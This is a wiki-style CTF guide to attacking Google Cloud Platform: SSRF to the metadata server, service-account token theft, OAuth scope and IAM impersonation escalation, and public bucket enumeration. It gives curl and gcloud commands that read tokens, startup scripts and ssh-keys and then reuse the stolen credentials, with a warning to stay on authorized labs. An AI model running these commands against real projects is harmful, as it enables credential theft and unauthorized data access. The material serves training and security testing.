Athena Wiki

GCP Attacks

cloudintermediate

Steal service-account tokens via the GCP metadata server, abuse over-broad scopes and IAM impersonation, and enumerate misconfigured buckets in CTF cloud challenges.

cloudgcpmetadataservice-accountssrfiamimpersonationgcs

GCP Attacks

Google Cloud Platform CTF challenges follow the same arc as their AWS and Azure cousins: an application bug (usually SSRF) reaches the metadata server, you steal a service-account OAuth token, and you pivot through IAM to something that holds the flag — a storage bucket, a secret, or another identity. GCP's distinguishing traits are its OAuth scope model and its rich set of impersonation privileges.

Authorized targets only

Practice against intentionally-vulnerable labs you control — GCP Goat, ThunderCTF, or your own project — never live tenants you don't own. Token theft and IAM abuse against real projects is a crime.


The Metadata Server

Every Compute Engine VM, Cloud Run service, Cloud Function, and GKE pod can reach an internal metadata endpoint that issues credentials for the attached service account. Two things make it CTF-relevant: it lives at a link-local address reachable from SSRF, and every request must carry a special header.

# The header is mandatory — requests without it are refused (this is the built-in SSRF guard)
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# -> {"access_token":"ya29....","expires_in":3599,"token_type":"Bearer"}

Why the header matters for SSRF

Because Metadata-Flavor: Google is required and the server rejects requests containing an X-Forwarded-For header, a plain GET-only SSRF often cannot reach it. You need an SSRF primitive that lets you set request headers (or a full-request/redirect primitive). The legacy ?recursive=true&alt=json v1beta1 path historically did not require the header — treat that as a legacy bypass to test.

High-Value Metadata Paths

BASE=http://metadata.google.internal/computeMetadata/v1
H="Metadata-Flavor: Google"

curl -s -H "$H" "$BASE/project/project-id"
curl -s -H "$H" "$BASE/instance/service-accounts/default/email"     # which SA you are
curl -s -H "$H" "$BASE/instance/service-accounts/default/scopes"    # what it's allowed to do
curl -s -H "$H" "$BASE/instance/service-accounts/default/token"     # the bearer token
curl -s -H "$H" "$BASE/instance/attributes/?recursive=true"         # startup-script, ssh-keys, secrets

Custom metadata attributes (startup-script, ssh-keys, and ad-hoc keys) are a classic place organizers stash secrets.


Scopes vs IAM — the GCP Gotcha

A token's power is the intersection of two controls:

ControlQuestion it answers
IAM rolesWhat is this service account allowed to do across the project?
OAuth scopesWhat is this VM's token permitted to request?

A service account can be Editor, but if the VM was created with a narrow scope (e.g. only devstorage.read_only), the token is limited. Conversely, the broad https://www.googleapis.com/auth/cloud-platform scope unlocks the SA's full IAM. Always check the scopes path first — it tells you the ceiling.


Using a Stolen Token

# Drop the token into gcloud
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29...."
gcloud config set account stolen@project.iam.gserviceaccount.com

# Or hit APIs directly
curl -s -H "Authorization: Bearer ya29...." \
  "https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"   # list buckets

Enumerate what the identity can do — GCP gives you a permission tester:

gcloud projects get-iam-policy PROJECT_ID
gcloud iam service-accounts list
# Brute the SA's effective permissions offline-style:
#   github.com/carlospolop/gcp_enum  or  GCP module of PrivEsc tools

IAM Privilege Escalation

GCP privesc almost always routes through impersonation or policy edits. Look for these permissions on your current identity:


Cloud Storage (GCS) Misconfiguration

The S3-equivalent. Buckets become readable when bound to the all-principals identities:

  • allUsers — anyone on the internet, unauthenticated.
  • allAuthenticatedUsers — any Google account (this is not "your org only" — it is anyone with a Google login). A frequent real-world and CTF mistake.
# Anonymous access
curl -s "https://storage.googleapis.com/BUCKET_NAME/"           # XML listing if public
gcloud storage ls gs://BUCKET_NAME/                              # with creds/scope
gcloud storage cp gs://BUCKET_NAME/flag.txt -                   # read object to stdout

# Find buckets by guessing names
# github.com/RhinoSecurityLabs/GCPBucketBrute
python3 gcpbucketbrute.py -k COMPANY -u                          # -u = unauthenticated check

Also check object and bucket IAM for storage.objects.get/list granted to your stolen identity, and look for HMAC keys and signed-URL secrets.


Tooling

ToolUse
gcloudOfficial CLI; --impersonate-service-account, print-access-token
GCPBucketBruteEnumerate and test GCS bucket permissions
ScoutSuiteOffline multi-cloud config audit (flags GCP misconfigs)
gcp_enum / GCP PrivEsc scriptsMap effective permissions and escalation edges
hayat / PurplePandaGraph GCP/Workspace relationships for privesc paths

Checklist

  • Confirm SSRF can set the Metadata-Flavor: Google header (or use a redirect/full-request primitive)
  • Read the SA email, scopes, then token from the metadata server
  • Check instance/attributes/?recursive=true for startup-script / ssh-keys / secrets
  • Remember power = IAM roles ∩ OAuth scopes — check scopes first
  • Enumerate effective permissions with the stolen token
  • Hunt impersonation: getAccessToken, actAs, signJwt, serviceAccountKeys.create
  • Hunt policy edits: setIamPolicy at project or resource level
  • Abuse deploy-to-run (Compute/Functions/Run/Cloud Build) to inherit a powerful SA
  • Test GCS buckets for allUsers / allAuthenticatedUsers and readable objects
  • Re-enumerate after each escalation

See Also


Last updated on

On this page